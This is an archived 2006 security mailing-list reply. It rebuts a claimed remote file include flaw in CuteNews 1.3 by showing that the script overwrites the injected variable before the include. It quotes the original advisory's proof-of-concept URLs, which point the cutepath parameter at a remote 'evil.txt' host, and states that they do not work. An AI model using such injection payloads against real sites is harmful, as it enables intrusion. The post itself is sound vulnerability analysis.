Ethical Hacking

Learn to find vulnerabilities before the bad guys do! Gain real world hands on hacking experience in our state of the art hacking lab. Course designed and taught by expert instructors with years of penetration testing experience. 12 student maximum in every class. Certification attempt included in every package.
Computer Forensics Training at InfoSec Institute

Gain the in-demand skills of a certified computer examiner, learn to recover trace data left behind by fraud, theft, and cybercrime perpetrators. Discover the source of computer crime and abuse at your organization so that it never happens again. All of our class sizes are guaranteed to be 12 students or less to facilitate one-on-one interaction with one of our expert instructors.




Network Security Vuln-Dev
[Top] [All Lists]

Re: CuteNews 1.3.* Remote File Include Vulnerability

Subject: Re: CuteNews 1.3.* Remote File Include Vulnerability
Date: Wed, 30 Aug 2006 00:12:25 +0200
Hi,

stormhacker@hotmail.com schrieb am Fri, 25 Aug 2006 19:14:46 +0000:

Vendor:  CuteNews 1.3.*

-----------------Description---------------


$cutepath =  __FILE__;

Here $cutepath is set to the path of this script

$cutepath = preg_replace( "'\\\search\.php'", "", $cutepath);

$cutepath = preg_replace( "'/search\.php'", "", $cutepath);

Now the name of the script, search.php, is removed.
As result $cutepath contains the patch to the directory
of search.php...

require_once("$cutepath/inc/functions.inc.php");

...from where inc/functions.inc.php is included.
Same for show_news.php. 
So where is a vulnerability?

--------------PoC/Exploit----------------------


show_news.php?cutepath=http://host/evil.txt?

search.php?cutepath=http://host/evil.txt?

They don't work

--------------Solution---------------------


No Patch available.

No patch necessary.

--------------Credit-----------------------


Discovered by: rUnViRuS (worlddefacers.de)

Credit for what? A non-existing vulnerability?
OK: Applaus, applaus, applaus... ;-)

Regards
  Carsten

-- 
Dipl.-Inform. Carsten Eilers
IT-Sicherheit und Datenschutz

<http://www.ceilers-it.de>


<Prev in Thread] Current Thread [Next in Thread>